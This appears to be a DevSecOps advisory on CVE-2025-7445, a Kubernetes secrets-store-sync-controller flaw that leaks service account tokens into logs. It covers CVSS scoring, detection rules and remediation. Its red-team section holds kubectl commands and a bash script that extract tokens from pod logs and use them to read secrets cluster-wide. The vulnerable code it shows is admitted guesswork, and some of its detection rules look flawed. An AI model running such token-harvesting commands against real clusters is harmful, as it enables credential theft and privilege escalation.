CVE-2025-7445

Executive Summary

CVE-2025-7445 is a medium-severity information disclosure vulnerability in the Kubernetes secrets-store-sync-controller component, affecting versions prior to 0.0.2. The vulnerability allows an attacker with local access to logs to retrieve service account tokens that were inadvertently written to log output. This can lead to privilege escalation within the Kubernetes cluster if the exposed token has elevated permissions.

The vulnerability is classified under CWE-532 (Insertion of Sensitive Information into Log File). The CVSS v3.1 base score is 6.5 (Medium), with a vector of AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N, indicating low attack complexity but requiring local access and low privileges. The EPSS score is 0.0%, suggesting no active exploitation in the wild at the time of analysis.

Supply Chain & Package Security

This vulnerability affects a Kubernetes component (secrets-store-sync-controller), which is typically deployed as a container image or a Go binary. Organizations using this component should verify their supply chain integrity by checking the image digest or binary checksum against the official release. The component is not distributed via NPM, PyPI, or RubyGems, but rather through the Kubernetes ecosystem (e.g., GitHub releases, container registries).

CVSS Breakdown & Threat Level

• CVSS Vector: CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N
• Base Score: 6.5 (Medium)
• Attack Vector (AV): Local (L) – The attacker must have local access to the system or logs.
• Attack Complexity (AC): Low (L) – No special conditions required.
• Privileges Required (PR): Low (L) – The attacker needs low-level access (e.g., ability to read logs).
• User Interaction (UI): None (N) – No user action required.
• Scope (S): Unchanged (U) – The vulnerability does not affect other components.
• Confidentiality (C): High (H) – Service account tokens are exposed.
• Integrity (I): None (N) – No data modification.
• Availability (A): None (N) – No impact on availability.

Threat Level: Medium. The vulnerability requires local access, but the impact is high due to potential lateral movement and privilege escalation within the cluster.

Deep Dive & Mechanics

The secrets-store-sync-controller is a Kubernetes controller that synchronizes secrets from external stores (e.g., AWS Secrets Manager, Azure Key Vault, GCP Secret Manager) into Kubernetes secrets. In versions prior to 0.0.2, the controller logs the service account token it uses to authenticate to the Kubernetes API server. This token is typically mounted as a volume in the pod and is used for API calls.

The logging occurs during the controller's initialization or when making API requests. The token is written to standard output (stdout) or standard error (stderr), which is then captured by the container runtime and stored in log files (e.g., /var/log/pods/ or via kubectl logs). An attacker with access to these logs (e.g., via a compromised pod, a misconfigured logging system, or a shared log aggregator) can extract the token.

The token is a JWT (JSON Web Token) that authenticates the pod's service account. With this token, an attacker can impersonate the service account and perform API operations that the service account is authorized to do. If the service account has broad permissions (e.g., cluster-admin), the attacker can take over the entire cluster.

Vulnerable vs. Patched Code

Vulnerable Code (pre-0.0.2): The controller likely logs the token directly, e.g., using klog.Infof("Using token: %s", token) or similar. The exact code is not publicly available, but the advisory indicates that tokens are disclosed in logs.

Patched Code (0.0.2): The fix involves removing the token from log output. Instead of logging the token, the controller should log a placeholder or omit the token entirely. For example:

// Vulnerable
klog.Infof("Authenticating with token: %s", token)

// Patched
klog.Infof("Authenticating with service account token (redacted)")

The patch also likely includes a review of all log statements to ensure no other sensitive data is leaked.

Exploitation & Lab Setup

Red Team (Exploitation)

Prerequisites:

• Access to logs from a pod running secrets-store-sync-controller version < 0.0.2.
• The logs must contain the service account token.

Steps:

1. Identify the pod running the vulnerable controller:

   kubectl get pods --all-namespaces | grep secrets-store-sync-controller
   

2. Retrieve the logs:

   kubectl logs -n <namespace> <pod-name>
   

3. Search for the token in the logs (tokens typically start with eyJ for JWT):

   kubectl logs -n <namespace> <pod-name> | grep -oP 'eyJ[a-zA-Z0-9_-]+\.[a-zA-Z0-9_-]+\.[a-zA-Z0-9_-]+'
   

4. Use the extracted token to authenticate to the Kubernetes API:

   kubectl --token=<extracted-token> get pods --all-namespaces
   

5. If the token has sufficient privileges, escalate to cluster-admin or perform other actions.

Automated Exploit (Conceptual):

#!/bin/bash
# Extract token from logs and use it
POD=$(kubectl get pods --all-namespaces | grep secrets-store-sync-controller | awk '{print $2}')
NAMESPACE=$(kubectl get pods --all-namespaces | grep secrets-store-sync-controller | awk '{print $1}')
TOKEN=$(kubectl logs -n $NAMESPACE $POD | grep -oP 'eyJ[a-zA-Z0-9_-]+\.[a-zA-Z0-9_-]+\.[a-zA-Z0-9_-]+' | head -1)
if [ -n "$TOKEN" ]; then
    kubectl --token=$TOKEN get secrets --all-namespaces
fi

Blue Team (Defense & Detection)

Detection:

• Monitor logs for patterns matching JWT tokens (e.g., eyJ).
• Alert on any kubectl logs commands that retrieve logs from the secrets-store-sync-controller pod.
• Use audit logging to track API calls made with service account tokens.

Mitigation:

• Upgrade to version 0.0.2 or later.
• Restrict access to pod logs using RBAC (e.g., only allow specific users/service accounts to read logs).
• Implement log redaction for sensitive data (e.g., using a log shipper like Fluentd with a filter).
• Rotate service account tokens immediately if exposure is suspected.

Indicators of Compromise (IOCs)

• Log Entries: Any log line containing a JWT token (pattern: eyJ[a-zA-Z0-9_-]+\.[a-zA-Z0-9_-]+\.[a-zA-Z0-9_-]+).
• API Calls: Unusual API calls from a service account that is normally associated with the secrets-store-sync-controller pod.
• Pod Anomalies: The secrets-store-sync-controller pod showing unexpected behavior or being accessed by unauthorized users.
• Network Connections: Outbound connections from the cluster to external IPs using the compromised token (e.g., to exfiltrate data).

Detection Engineering

YARA Rule

rule CVE_2025_7445_ServiceAccountTokenInLogs {
    meta:
        description = "Detects service account tokens in log files (CVE-2025-7445)"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-7445"
    strings:
        $jwt = /eyJ[a-zA-Z0-9_-]+\.[a-zA-Z0-9_-]+\.[a-zA-Z0-9_-]+/
    condition:
        $jwt
}

Sigma Rule

title: Service Account Token in Logs
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects service account tokens in log files (CVE-2025-7445)
author: Valters IT
date: 2025/04/10
logsource:
    category: application
    product: kubernetes
detection:
    selection:
        - EventID: 1  # Process creation (if logs are from sysmon)
        - Image: '*kubectl*'
        - CommandLine: '*logs*'
    condition: selection
falsepositives:
    - Legitimate debugging activities
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2025-7445 - Service Account Token Exfiltration"; flow:to_server,established; content:"eyJ"; depth:3; pcre:"/eyJ[a-zA-Z0-9_-]+\.[a-zA-Z0-9_-]+\.[a-zA-Z0-9_-]+/R"; classtype:attempted-recon; sid:1000001; rev:1;)

Remediation & Mitigation

1. Immediate Action: Upgrade secrets-store-sync-controller to version 0.0.2 or later.
2. Log Review: Check existing logs for any exposed tokens and rotate the affected service account tokens.
3. Access Control: Restrict access to pod logs using Kubernetes RBAC. Only allow necessary users/service accounts to read logs.
4. Log Redaction: Implement log redaction for sensitive data (e.g., using a log shipper like Fluentd with a filter to mask JWT tokens).
5. Audit Logging: Enable Kubernetes audit logging to track API calls and detect unauthorized use of service account tokens.
6. Token Rotation: Rotate all service account tokens that may have been exposed. Use short-lived tokens where possible.
7. Network Segmentation: Limit outbound network access from the cluster to prevent data exfiltration.

Valters IT Senior DevSecOps & Cyber Threat Intelligence Expert